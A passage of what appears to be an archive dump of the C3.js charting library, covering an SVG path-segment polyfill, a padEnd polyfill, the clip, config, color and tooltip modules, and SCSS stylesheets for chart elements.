this._checkPathSynchronizedToList(); this._checkValidIndex(index); return this._list[index]; } window.SVGPathSegList.prototype.insertItemBefore = function (newItem, index) { this._checkPathSynchronizedToList(); // Spec: If the index is greater than or equal to numberOfItems, then the new item is appended to the end of the list. if (index > this.numberOfItems) index = this.numberOfItems; if (newItem._owningPathSegList) { // SVG2 spec says to make a copy. newItem = newItem.clone(); } this._list.splice(index, 0, newItem); newItem._owningPathSegList = this; this._writeListToPath(); return newItem; } window.SVGPathSegList.prototype.replaceItem = function (newItem, index) { this._checkPathSynchronizedToList(); if (newItem._owningPathSegList) { // SVG2 spec says to make a copy. newItem = newItem.clone(); } this._checkValidIndex(index); this._list[index] = newItem; newItem._owningPathSegList = this; this._writeListToPath(); return newItem; } window.SVGPathSegList.prototype.removeItem = function (index) { this._checkPathSynchronizedToList(); this._checkValidIndex(index); var item = this._list[index]; this._list.splice(index, 1); this._writeListToPath(); return item; } window.SVGPathSegList.prototype.appendItem = function (newItem) { this._checkPathSynchronizedToList(); if (newItem._owningPathSegList) { // SVG2 spec says to make a copy. newItem = newItem.clone(); } this._list.push(newItem); newItem._owningPathSegList = this; // TODO: Optimize this to just append to the existing attribute. this._writeListToPath(); return newItem; } window.SVGPathSegList._pathSegArrayAsString = function (pathSegArray) { var string = ""; var first = true; pathSegArray.forEach(function (pathSeg) { if (first) { first = false; string += pathSeg._asPathString(); } else { string += " " + pathSeg._asPathString(); } }); return string; } // This closely follows SVGPathParser::parsePath from Source/core/svg/SVGPathParser.cpp. window.SVGPathSegList.prototype._parsePath = function (string) { if (!string || string.length == 0) return []; var owningPathSegList = this; var Builder = function () { this.pathSegList = []; } Builder.prototype.appendSegment = function (pathSeg) { this.pathSegList.push(pathSeg); } var Source = function (string) { this._string = string; this._currentIndex = 0; this._endIndex = this._string.length; this._previousCommand = window.SVGPathSeg.PATHSEG_UNKNOWN; this._skipOptionalSpaces(); } Source.prototype._isCurrentSpace = function () { var character = this._string[this._currentIndex]; return character <= " " && (character == " " || character == "\n" || character == "\t" || character == "\r" || character == "\f"); } Source.prototype._skipOptionalSpaces = function () { while (this._currentIndex < this._endIndex && this._isCurrentSpace()) this._currentIndex++; return this._currentIndex < this._endIndex; } Source.prototype._skipOptionalSpacesOrDelimiter = function () { if (this._currentIndex < this._endIndex && !this._isCurrentSpace() && this._string.charAt(this._currentIndex) != ",") return false; if (this._skipOptionalSpaces()) { if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == ",") { this._currentIndex++; this._skipOptionalSpaces(); } } return this._currentIndex < this._endIndex; } Source.prototype.hasMoreData = function () { return this._currentIndex < this._endIndex; } Source.prototype.peekSegmentType = function () { var lookahead = this._string[this._currentIndex]; return this._pathSegTypeFromChar(lookahead); } Source.prototype._pathSegTypeFromChar = function (lookahead) { switch (lookahead) { case "Z": case "z": return window.SVGPathSeg.PATHSEG_CLOSEPATH; case "M": return window.SVGPathSeg.PATHSEG_MOVETO_ABS; case "m": return window.SVGPathSeg.PATHSEG_MOVETO_REL; case "L": return window.SVGPathSeg.PATHSEG_LINETO_ABS; case "l": return window.SVGPathSeg.PATHSEG_LINETO_REL; case "C": return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS; case "c": return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL; case "Q": return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS; case "q": return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL; case "A": return window.SVGPathSeg.PATHSEG_ARC_ABS; case "a": return window.SVGPathSeg.PATHSEG_ARC_REL; case "H": return window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS; case "h": return window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL; case "V": return window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS; case "v": return window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL; case "S": return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS; case "s": return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL; case "T": return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS; case "t": return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL; default: return window.SVGPathSeg.PATHSEG_UNKNOWN; } } Source.prototype._nextCommandHelper = function (lookahead, previousCommand) { // Check for remaining coordinates in the current command. if ((lookahead == "+" || lookahead == "-" || lookahead == "." || (lookahead >= "0" && lookahead <= "9")) && previousCommand != window.SVGPathSeg.PATHSEG_CLOSEPATH) { if (previousCommand == window.SVGPathSeg.PATHSEG_MOVETO_ABS) return window.SVGPathSeg.PATHSEG_LINETO_ABS; if (previousCommand == window.SVGPathSeg.PATHSEG_MOVETO_REL) return window.SVGPathSeg.PATHSEG_LINETO_REL; return previousCommand; } return window.SVGPathSeg.PATHSEG_UNKNOWN; } Source.prototype.initialCommandIsMoveTo = function () { // If the path is empty it is still valid, so return true. if (!this.hasMoreData()) return true; var command = this.peekSegmentType(); // Path must start with moveTo. return command == window.SVGPathSeg.PATHSEG_MOVETO_ABS || command == window.SVGPathSeg.PATHSEG_MOVETO_REL; } // Parse a number from an SVG path. This very closely follows genericParseNumber(...) from Source/core/svg/SVGParserUtilities.cpp. // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-PathDataBNF Source.prototype._parseNumber = function () { var exponent = 0; var integer = 0; var frac = 1; var decimal = 0; var sign = 1; var expsign = 1; var startIndex = this._currentIndex; this._skipOptionalSpaces(); // Read the sign. if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == "+") this._currentIndex++; else if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == "-") { this._currentIndex++; sign = -1; } if (this._currentIndex == this._endIndex || ((this._string.charAt(this._currentIndex) < "0" || this._string.charAt(this._currentIndex) > "9") && this._string.charAt(this._currentIndex) != ".")) // The first character of a number must be one of [0-9+-.]. return undefined; // Read the integer part, build right-to-left. var startIntPartIndex = this._currentIndex; while (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) >= "0" && this._string.charAt(this._currentIndex) <= "9") this._currentIndex++; // Advance to first non-digit. if (this._currentIndex != startIntPartIndex) { var scanIntPartIndex = this._currentIndex - 1; var multiplier = 1; while (scanIntPartIndex >= startIntPartIndex) { integer += multiplier * (this._string.charAt(scanIntPartIndex--) - "0"); multiplier *= 10; } } // Read the decimals. if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == ".") { this._currentIndex++; // There must be a least one digit following the . if (this._currentIndex >= this._endIndex || this._string.charAt(this._currentIndex) < "0" || this._string.charAt(this._currentIndex) > "9") return undefined; while (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) >= "0" && this._string.charAt(this._currentIndex) <= "9") { frac *= 10; decimal += (this._string.charAt(this._currentIndex) - "0") / frac; this._currentIndex += 1; } } // Read the exponent part. if (this._currentIndex != startIndex && this._currentIndex + 1 < this._endIndex && (this._string.charAt(this._currentIndex) == "e" || this._string.charAt(this._currentIndex) == "E") && (this._string.charAt(this._currentIndex + 1) != "x" && this._string.charAt(this._currentIndex + 1) != "m")) { this._currentIndex++; // Read the sign of the exponent. if (this._string.charAt(this._currentIndex) == "+") { this._currentIndex++; } else if (this._string.charAt(this._currentIndex) == "-") { this._currentIndex++; expsign = -1; } // There must be an exponent. if (this._currentIndex >= this._endIndex || this._string.charAt(this._currentIndex) < "0" || this._string.charAt(this._currentIndex) > "9") return undefined; while (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) >= "0" && this._string.charAt(this._currentIndex) <= "9") { exponent *= 10; exponent += (this._string.charAt(this._currentIndex) - "0"); this._currentIndex++; } } var number = integer + decimal; number *= sign; if (exponent) number *= Math.pow(10, expsign * exponent); if (startIndex == this._currentIndex) return undefined; this._skipOptionalSpacesOrDelimiter(); return number; } Source.prototype._parseArcFlag = function () { if (this._currentIndex >= this._endIndex) return undefined; var flag = false; var flagChar = this._string.charAt(this._currentIndex++); if (flagChar == "0") flag = false; else if (flagChar == "1") flag = true; else return undefined; this._skipOptionalSpacesOrDelimiter(); return flag; } Source.prototype.parseSegment = function () { var lookahead = this._string[this._currentIndex]; var command = this._pathSegTypeFromChar(lookahead); if (command == window.SVGPathSeg.PATHSEG_UNKNOWN) { // Possibly an implicit command. Not allowed if this is the first command. if (this._previousCommand == window.SVGPathSeg.PATHSEG_UNKNOWN) return null; command = this._nextCommandHelper(lookahead, this._previousCommand); if (command == window.SVGPathSeg.PATHSEG_UNKNOWN) return null; } else { this._currentIndex++; } this._previousCommand = command; switch (command) { case window.SVGPathSeg.PATHSEG_MOVETO_REL: return new window.SVGPathSegMovetoRel(owningPathSegList, this._parseNumber(), this._parseNumber()); case window.SVGPathSeg.PATHSEG_MOVETO_ABS: return new window.SVGPathSegMovetoAbs(owningPathSegList, this._parseNumber(), this._parseNumber()); case window.SVGPathSeg.PATHSEG_LINETO_REL: return new window.SVGPathSegLinetoRel(owningPathSegList, this._parseNumber(), this._parseNumber()); case window.SVGPathSeg.PATHSEG_LINETO_ABS: return new window.SVGPathSegLinetoAbs(owningPathSegList, this._parseNumber(), this._parseNumber()); case window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL: return new window.SVGPathSegLinetoHorizontalRel(owningPathSegList, this._parseNumber()); case window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS: return new window.SVGPathSegLinetoHorizontalAbs(owningPathSegList, this._parseNumber()); case window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL: return new window.SVGPathSegLinetoVerticalRel(owningPathSegList, this._parseNumber()); case window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS: return new window.SVGPathSegLinetoVerticalAbs(owningPathSegList, this._parseNumber()); case window.SVGPathSeg.PATHSEG_CLOSEPATH: this._skipOptionalSpaces(); return new window.SVGPathSegClosePath(owningPathSegList); case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL: var points = { x1: this._parseNumber(), y1: this._parseNumber(), x2: this._parseNumber(), y2: this._parseNumber(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegCurvetoCubicRel(owningPathSegList, points.x, points.y, points.x1, points.y1, points.x2, points.y2); case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS: var points = { x1: this._parseNumber(), y1: this._parseNumber(), x2: this._parseNumber(), y2: this._parseNumber(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegCurvetoCubicAbs(owningPathSegList, points.x, points.y, points.x1, points.y1, points.x2, points.y2); case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL: var points = { x2: this._parseNumber(), y2: this._parseNumber(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegCurvetoCubicSmoothRel(owningPathSegList, points.x, points.y, points.x2, points.y2); case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS: var points = { x2: this._parseNumber(), y2: this._parseNumber(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegCurvetoCubicSmoothAbs(owningPathSegList, points.x, points.y, points.x2, points.y2); case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL: var points = { x1: this._parseNumber(), y1: this._parseNumber(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegCurvetoQuadraticRel(owningPathSegList, points.x, points.y, points.x1, points.y1); case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS: var points = { x1: this._parseNumber(), y1: this._parseNumber(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegCurvetoQuadraticAbs(owningPathSegList, points.x, points.y, points.x1, points.y1); case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL: return new window.SVGPathSegCurvetoQuadraticSmoothRel(owningPathSegList, this._parseNumber(), this._parseNumber()); case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS: return new window.SVGPathSegCurvetoQuadraticSmoothAbs(owningPathSegList, this._parseNumber(), this._parseNumber()); case window.SVGPathSeg.PATHSEG_ARC_REL: var points = { x1: this._parseNumber(), y1: this._parseNumber(), arcAngle: this._parseNumber(), arcLarge: this._parseArcFlag(), arcSweep: this._parseArcFlag(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegArcRel(owningPathSegList, points.x, points.y, points.x1, points.y1, points.arcAngle, points.arcLarge, points.arcSweep); case window.SVGPathSeg.PATHSEG_ARC_ABS: var points = { x1: this._parseNumber(), y1: this._parseNumber(), arcAngle: this._parseNumber(), arcLarge: this._parseArcFlag(), arcSweep: this._parseArcFlag(), x: this._parseNumber(), y: this._parseNumber() }; return new window.SVGPathSegArcAbs(owningPathSegList, points.x, points.y, points.x1, points.y1, points.arcAngle, points.arcLarge, points.arcSweep); default: throw "Unknown path seg type." } } var builder = new Builder(); var source = new Source(string); if (!source.initialCommandIsMoveTo()) return []; while (source.hasMoreData()) { var pathSeg = source.parseSegment(); if (!pathSeg) return []; builder.appendSegment(pathSeg); } return builder.pathSegList; } } }()); // String.padEnd polyfill for IE11 // // https://github.com/uxitten/polyfill/blob/master/string.polyfill.js // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padEnd if (!String.prototype.padEnd) { String.prototype.padEnd = function padEnd(targetLength, padString) { targetLength = targetLength >> 0; //floor if number or convert non-number to 0; padString = String((typeof padString !== 'undefined' ? padString : ' ')); if (this.length > targetLength) { return String(this); } else { targetLength = targetLength - this.length; if (targetLength > padString.length) { padString += padString.repeat(targetLength / padString.length); //append to original to ensure we are longer than needed } return String(this) + padString.slice(0, targetLength); } }; } /* jshint ignore:end */ clip.js000064400000004653151677320360006053 0ustar00import { ChartInternal } from './core'; ChartInternal.prototype.getClipPath = function (id) { var isIE9 = window.navigator.appVersion.toLowerCase().indexOf("msie 9.") >= 0; return "url(" + (isIE9 ? "" : document.URL.split('#')[0]) + "#" + id + ")"; }; ChartInternal.prototype.appendClip = function (parent, id) { return parent.append("clipPath").attr("id", id).append("rect"); }; ChartInternal.prototype.getAxisClipX = function (forHorizontal) { // axis line width + padding for left var left = Math.max(30, this.margin.left); return forHorizontal ? -(1 + left) : -(left - 1); }; ChartInternal.prototype.getAxisClipY = function (forHorizontal) { return forHorizontal ? -20 : -this.margin.top; }; ChartInternal.prototype.getXAxisClipX = function () { var $$ = this; return $$.getAxisClipX(!$$.config.axis_rotated); }; ChartInternal.prototype.getXAxisClipY = function () { var $$ = this; return $$.getAxisClipY(!$$.config.axis_rotated); }; ChartInternal.prototype.getYAxisClipX = function () { var $$ = this; return $$.config.axis_y_inner ? -1 : $$.getAxisClipX($$.config.axis_rotated); }; ChartInternal.prototype.getYAxisClipY = function () { var $$ = this; return $$.getAxisClipY($$.config.axis_rotated); }; ChartInternal.prototype.getAxisClipWidth = function (forHorizontal) { var $$ = this, left = Math.max(30, $$.margin.left), right = Math.max(30, $$.margin.right); // width + axis line width + padding for left/right return forHorizontal ? $$.width + 2 + left + right : $$.margin.left + 20; }; ChartInternal.prototype.getAxisClipHeight = function (forHorizontal) { // less than 20 is not enough to show the axis label 'outer' without legend return (forHorizontal ? this.margin.bottom : (this.margin.top + this.height)) + 20; }; ChartInternal.prototype.getXAxisClipWidth = function () { var $$ = this; return $$.getAxisClipWidth(!$$.config.axis_rotated); }; ChartInternal.prototype.getXAxisClipHeight = function () { var $$ = this; return $$.getAxisClipHeight(!$$.config.axis_rotated); }; ChartInternal.prototype.getYAxisClipWidth = function () { var $$ = this; return $$.getAxisClipWidth($$.config.axis_rotated) + ($$.config.axis_y_inner ? 20 : 0); }; ChartInternal.prototype.getYAxisClipHeight = function () { var $$ = this; return $$.getAxisClipHeight($$.config.axis_rotated); }; config.js000064400000021537151677320360006371 0ustar00import { ChartInternal } from './core'; import { isDefined } from './util'; ChartInternal.prototype.getDefaultConfig = function () { var config = { bindto: '#chart', svg_classname: undefined, size_width: undefined, size_height: undefined, padding_left: undefined, padding_right: undefined, padding_top: undefined, padding_bottom: undefined, resize_auto: true, zoom_enabled: false, zoom_initialRange: undefined, zoom_type: 'scroll', zoom_disableDefaultBehavior: false, zoom_privileged: false, zoom_rescale: false, zoom_onzoom: function () {}, zoom_onzoomstart: function () {}, zoom_onzoomend: function () {}, zoom_x_min: undefined, zoom_x_max: undefined, interaction_brighten: true, interaction_enabled: true, onmouseover: function () {}, onmouseout: function () {}, onresize: function () {}, onresized: function () {}, oninit: function () {}, onrendered: function () {}, transition_duration: 350, data_x: undefined, data_xs: {}, data_xFormat: '%Y-%m-%d', data_xLocaltime: true, data_xSort: true, data_idConverter: function (id) { return id; }, data_names: {}, data_classes: {}, data_groups: [], data_axes: {}, data_type: undefined, data_types: {}, data_labels: {}, data_order: 'desc', data_regions: {}, data_color: undefined, data_colors: {}, data_hide: false, data_filter: undefined, data_selection_enabled: false, data_selection_grouped: false, data_selection_isselectable: function () { return true; }, data_selection_multiple: true, data_selection_draggable: false, data_onclick: function () {}, data_onmouseover: function () {}, data_onmouseout: function () {}, data_onselected: function () {}, data_onunselected: function () {}, data_url: undefined, data_headers: undefined, data_json: undefined, data_rows: undefined, data_columns: undefined, data_mimeType: undefined, data_keys: undefined, // configuration for no plot-able data supplied. data_empty_label_text: "", // subchart subchart_show: false, subchart_size_height: 60, subchart_axis_x_show: true, subchart_onbrush: function () {}, // color color_pattern: [], color_threshold: {}, // legend legend_show: true, legend_hide: false, legend_position: 'bottom', legend_inset_anchor: 'top-left', legend_inset_x: 10, legend_inset_y: 0, legend_inset_step: undefined, legend_item_onclick: undefined, legend_item_onmouseover: undefined, legend_item_onmouseout: undefined, legend_equally: false, legend_padding: 0, legend_item_tile_width: 10, legend_item_tile_height: 10, // axis axis_rotated: false, axis_x_show: true, axis_x_type: 'indexed', axis_x_localtime: true, axis_x_categories: [], axis_x_tick_centered: false, axis_x_tick_format: undefined, axis_x_tick_culling: {}, axis_x_tick_culling_max: 10, axis_x_tick_count: undefined, axis_x_tick_fit: true, axis_x_tick_values: null, axis_x_tick_rotate: 0, axis_x_tick_outer: true, axis_x_tick_multiline: true, axis_x_tick_multilineMax: 0, axis_x_tick_width: null, axis_x_max: undefined, axis_x_min: undefined, axis_x_padding: {}, axis_x_height: undefined, axis_x_selection: undefined, axis_x_label: {}, axis_x_inner: undefined, axis_y_show: true, axis_y_type: undefined, axis_y_max: undefined, axis_y_min: undefined, axis_y_inverted: false, axis_y_center: undefined, axis_y_inner: undefined, axis_y_label: {}, axis_y_tick_format: undefined, axis_y_tick_outer: true, axis_y_tick_values: null, axis_y_tick_rotate: 0, axis_y_tick_count: undefined, axis_y_tick_time_type: undefined, axis_y_tick_time_interval: undefined, axis_y_padding: {}, axis_y_default: undefined, axis_y2_show: false, axis_y2_max: undefined, axis_y2_min: undefined, axis_y2_inverted: false, axis_y2_center: undefined, axis_y2_inner: undefined, axis_y2_label: {}, axis_y2_tick_format: undefined, axis_y2_tick_outer: true, axis_y2_tick_values: null, axis_y2_tick_count: undefined, axis_y2_padding: {}, axis_y2_default: undefined, // grid grid_x_show: false, grid_x_type: 'tick', grid_x_lines: [], grid_y_show: false, // not used // grid_y_type: 'tick', grid_y_lines: [], grid_y_ticks: 10, grid_focus_show: true, grid_lines_front: true, // point - point of each data point_show: true, point_r: 2.5, point_sensitivity: 10, point_focus_expand_enabled: true, point_focus_expand_r: undefined, point_select_r: undefined, // line line_connectNull: false, line_step_type: 'step', // bar bar_width: undefined, bar_width_ratio: 0.6, bar_width_max: undefined, bar_zerobased: true, bar_space: 0, // area area_zerobased: true, area_above: false, // pie pie_label_show: true, pie_label_format: undefined, pie_label_threshold: 0.05, pie_label_ratio: undefined, pie_expand: {}, pie_expand_duration: 50, // gauge gauge_fullCircle: false, gauge_label_show: true, gauge_labelLine_show: true, gauge_label_format: undefined, gauge_min: 0, gauge_max: 100, gauge_startingAngle: -1 * Math.PI/2, gauge_label_extents: undefined, gauge_units: undefined, gauge_width: undefined, gauge_arcs_minWidth: 5, gauge_expand: {}, gauge_expand_duration: 50, // donut donut_label_show: true, donut_label_format: undefined, donut_label_threshold: 0.05, donut_label_ratio: undefined, donut_width: undefined, donut_title: "", donut_expand: {}, donut_expand_duration: 50, // spline spline_interpolation_type: 'cardinal', // region - region to change style regions: [], // tooltip - show when mouseover on each data tooltip_show: true, tooltip_grouped: true, tooltip_order: undefined, tooltip_format_title: undefined, tooltip_format_name: undefined, tooltip_format_value: undefined, tooltip_position: undefined, tooltip_contents: function (d, defaultTitleFormat, defaultValueFormat, color) { return this.getTooltipContent ? this.getTooltipContent(d, defaultTitleFormat, defaultValueFormat, color) : ''; }, tooltip_init_show: false, tooltip_init_x: 0, tooltip_init_position: {top: '0px', left: '50px'}, tooltip_onshow: function () {}, tooltip_onhide: function () {}, // title title_text: undefined, title_padding: { top: 0, right: 0, bottom: 0, left: 0 }, title_position: 'top-center', }; Object.keys(this.additionalConfig).forEach(function (key) { config[key] = this.additionalConfig[key]; }, this); return config; }; ChartInternal.prototype.additionalConfig = {}; ChartInternal.prototype.loadConfig = function (config) { var this_config = this.config, target, keys, read; function find() { var key = keys.shift(); // console.log("key =>", key, ", target =>", target); if (key && target && typeof target === 'object' && key in target) { target = target[key]; return find(); } else if (!key) { return target; } else { return undefined; } } Object.keys(this_config).forEach(function (key) { target = config; keys = key.split('_'); read = find(); // console.log("CONFIG : ", key, read); if (isDefined(read)) { this_config[key] = read; } }); }; scss/chart.scss000064400000001044151677320360007526 0ustar00.c3 svg { font: 10px sans-serif; -webkit-tap-highlight-color: rgba(0,0,0,0); } .c3 path, .c3 line { fill: none; stroke: #000; } .c3 text { -webkit-user-select: none; -moz-user-select: none; user-select: none; } .c3-legend-item-tile, .c3-xgrid-focus, .c3-ygrid, .c3-event-rect, .c3-bars path { shape-rendering: crispEdges; } .c3-chart-arc path { stroke: #fff; } .c3-chart-arc rect { stroke: white; stroke-width: 1; } .c3-chart-arc text { fill: #fff; font-size: 13px; } scss/tooltip.scss000064400000001436151677320360010124 0ustar00.c3-tooltip-container { z-index: 10; } .c3-tooltip { border-collapse:collapse; border-spacing:0; background-color:#fff; empty-cells:show; -webkit-box-shadow: 7px 7px 12px -9px rgb(119,119,119); -moz-box-shadow: 7px 7px 12px -9px rgb(119,119,119); box-shadow: 7px 7px 12px -9px rgb(119,119,119); opacity: 0.9; } .c3-tooltip tr { border:1px solid #CCC; } .c3-tooltip th { background-color: #aaa; font-size:14px; padding:2px 5px; text-align:left; color:#FFF; } .c3-tooltip td { font-size:13px; padding: 3px 6px; background-color:#fff; border-left:1px dotted #999; } .c3-tooltip td > span { display: inline-block; width: 10px; height: 10px; margin-right: 6px; } .c3-tooltip td.value{ text-align: right; } scss/axis.scss000064400000000220151677320360007364 0ustar00.c3-axis-x .tick { } .c3-axis-x-label { } .c3-axis-y .tick { } .c3-axis-y-label { } .c3-axis-y2 .tick { } .c3-axis-y2-label { } scss/grid.scss000064400000000223151677320360007350 0ustar00.c3-grid line { stroke: #aaa; } .c3-grid text { fill: #aaa; } .c3-xgrid, .c3-ygrid { stroke-dasharray: 3 3; } .c3-xgrid-focus { } scss/arc.scss000064400000001075151677320360007176 0ustar00.c3-chart-arcs-title { dominant-baseline: middle; font-size: 1.3em; } .c3-chart-arcs .c3-chart-arcs-background { fill: #e0e0e0; stroke: #FFF; } .c3-chart-arcs .c3-chart-arcs-gauge-unit { fill: #000; font-size: 16px; } .c3-chart-arcs .c3-chart-arcs-gauge-max { fill: #777; } .c3-chart-arcs .c3-chart-arcs-gauge-min { fill: #777; } .c3-chart-arc .c3-gauge-value { fill: #000; /* font-size: 28px !important;*/ } .c3-chart-arc.c3-target g path { opacity: 1; } .c3-chart-arc.c3-target.c3-focused g path { opacity: 1; } scss/point.scss000064400000000204151677320360007553 0ustar00.c3-circle._expanded_ { stroke-width: 1px; stroke: white; } .c3-selected-circle { fill: white; stroke-width: 2px; } scss/brush.scss000064400000000055151677320360007551 0ustar00.c3-brush .extent { fill-opacity: .1; } scss/focus.scss000064400000000310151677320360007537 0ustar00.c3-target.c3-focused { opacity: 1; } .c3-target.c3-focused path.c3-line, .c3-target.c3-focused path.c3-step { stroke-width: 2px; } .c3-target.c3-defocused { opacity: 0.3 !important; } scss/text.scss000064400000000116151677320360007410 0ustar00.c3-text { } .c3-text.c3-empty { fill: #808080; font-size: 2em; } scss/zoom.scss000064400000000346151677320360007415 0ustar00.c3-drag-zoom.enabled{ pointer-events: all!important; visibility: visible; } .c3-drag-zoom.disabled{ pointer-events: none!important; visibility: hidden; } .c3-drag-zoom .extent { fill-opacity: .1; } scss/select_drag.scss000064400000000023151677320360010675 0ustar00.c3-dragarea { } scss/area.scss000064400000000064151677320360007336 0ustar00.c3-area { stroke-width: 0; opacity: 0.2; } scss/main.scss000064400000001240151677320360007347 0ustar00/*-- Chart --*/ @import 'chart'; /*-- Axis --*/ @import 'axis'; /*-- Grid --*/ @import 'grid'; /*-- Text on Chart --*/ @import 'text'; /*-- Line --*/ @import 'line'; /*-- Point --*/ @import 'point'; /*-- Bar --*/ @import 'bar'; /*-- Focus --*/ @import 'focus'; /*-- Region --*/ @import 'region'; /*-- Brush --*/ @import 'brush'; /*-- Select - Drag --*/ @import 'select_drag'; /*-- Legend --*/ @import 'legend'; /*-- Title --*/ @import 'title'; /*-- Tooltip --*/ @import 'tooltip'; /*-- Area --*/ @import 'area'; /*-- Arc --*/ @import 'arc'; /*-- Zoom --*/ @import 'zoom'; scss/title.scss000064400000000052151677320360007544 0ustar00.c3-title { font: 14px sans-serif; } scss/line.scss000064400000000045151677320360007354 0ustar00.c3-line { stroke-width: 1px; } scss/legend.scss000064400000000302151677320360007657 0ustar00.c3-legend-item { font-size: 12px; } .c3-legend-item-hidden { opacity: 0.15; } .c3-legend-background { opacity: 0.75; fill: white; stroke: lightgray; stroke-width: 1 } scss/region.scss000064400000000072151677320360007710 0ustar00.c3-region { fill: steelblue; fill-opacity: .1; } scss/bar.scss000064400000000146151677320360007173 0ustar00.c3-bar { stroke-width: 0; } .c3-bar._expanded_ { fill-opacity: 1; fill-opacity: 0.75; } api.color.js000064400000000246151677320360007004 0ustar00import { Chart } from './core'; // TODO: fix Chart.prototype.color = function (id) { var $$ = this.internal; return $$.color(id); // more patterns }; tooltip.js000064400000020160151677320360006605 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; import { isValue, isFunction, isArray, isString, sanitise } from './util'; ChartInternal.prototype.initTooltip = function () { var $$ = this, config = $$.config, i; $$.tooltip = $$.selectChart .style("position", "relative") .append("div") .attr('class', CLASS.tooltipContainer) .style("position", "absolute") .style("pointer-events", "none") .style("display", "none"); // Show tooltip if needed if (config.tooltip_init_show) { if ($$.isTimeSeries() && isString(config.tooltip_init_x)) { config.tooltip_init_x = $$.parseDate(config.tooltip_init_x); for (i = 0; i < $$.data.targets[0].values.length; i++) { if (($$.data.targets[0].values[i].x - config.tooltip_init_x) === 0) { break; } } config.tooltip_init_x = i; } $$.tooltip.html(config.tooltip_contents.call($$, $$.data.targets.map(function (d) { return $$.addName(d.values[config.tooltip_init_x]); }), $$.axis.getXAxisTickFormat(), $$.getYFormat($$.hasArcType()), $$.color)); $$.tooltip.style("top", config.tooltip_init_position.top) .style("left", config.tooltip_init_position.left) .style("display", "block"); } }; ChartInternal.prototype.getTooltipSortFunction = function () { var $$ = this, config = $$.config; if (config.data_groups.length === 0 || config.tooltip_order !== undefined) { // if data are not grouped or if an order is specified // for the tooltip values we sort them by their values var order = config.tooltip_order; if (order === undefined) { order = config.data_order; } var valueOf = function (obj) { return obj ? obj.value : null; }; // if data are not grouped, we sort them by their value if (isString(order) && order.toLowerCase() === 'asc') { return function (a, b) { return valueOf(a) - valueOf(b); }; } else if (isString(order) && order.toLowerCase() === 'desc') { return function (a, b) { return valueOf(b) - valueOf(a); }; } else if (isFunction(order)) { // if the function is from data_order we need // to wrap the returned function in order to format // the sorted value to the expected format var sortFunction = order; if (config.tooltip_order === undefined) { sortFunction = function (a, b) { return order(a ? { id: a.id, values: [a] } : null, b ? { id: b.id, values: [b] } : null); }; } return sortFunction; } else if (isArray(order)) { return function (a, b) { return order.indexOf(a.id) - order.indexOf(b.id); }; } } else { // if data are grouped, we follow the order of grouped targets var ids = $$.orderTargets($$.data.targets).map(function (i) { return i.id; }); // if it was either asc or desc we need to invert the order // returned by orderTargets if ($$.isOrderAsc() || $$.isOrderDesc()) { ids = ids.reverse(); } return function (a, b) { return ids.indexOf(a.id) - ids.indexOf(b.id); }; } }; ChartInternal.prototype.getTooltipContent = function (d, defaultTitleFormat, defaultValueFormat, color) { var $$ = this, config = $$.config, titleFormat = config.tooltip_format_title || defaultTitleFormat, nameFormat = config.tooltip_format_name || function (name) { return name; }, valueFormat = config.tooltip_format_value || defaultValueFormat, text, i, title, value, name, bgcolor; var tooltipSortFunction = this.getTooltipSortFunction(); if (tooltipSortFunction) { d.sort(tooltipSortFunction); } for (i = 0; i < d.length; i++) { if (!(d[i] && (d[i].value || d[i].value === 0))) { continue; } if (!text) { title = sanitise(titleFormat ? titleFormat(d[i].x) : d[i].x); text = "<table class='" + $$.CLASS.tooltip + "'>" + (title || title === 0 ? "<tr><th colspan='2'>" + title + "</th></tr>" : ""); } value = sanitise(valueFormat(d[i].value, d[i].ratio, d[i].id, d[i].index, d)); if (value !== undefined) { // Skip elements when their name is set to null if (d[i].name === null) { continue; } name = sanitise(nameFormat(d[i].name, d[i].ratio, d[i].id, d[i].index)); bgcolor = $$.levelColor ? $$.levelColor(d[i].value) : color(d[i].id); text += "<tr class='" + $$.CLASS.tooltipName + "-" + $$.getTargetSelectorSuffix(d[i].id) + "'>"; text += 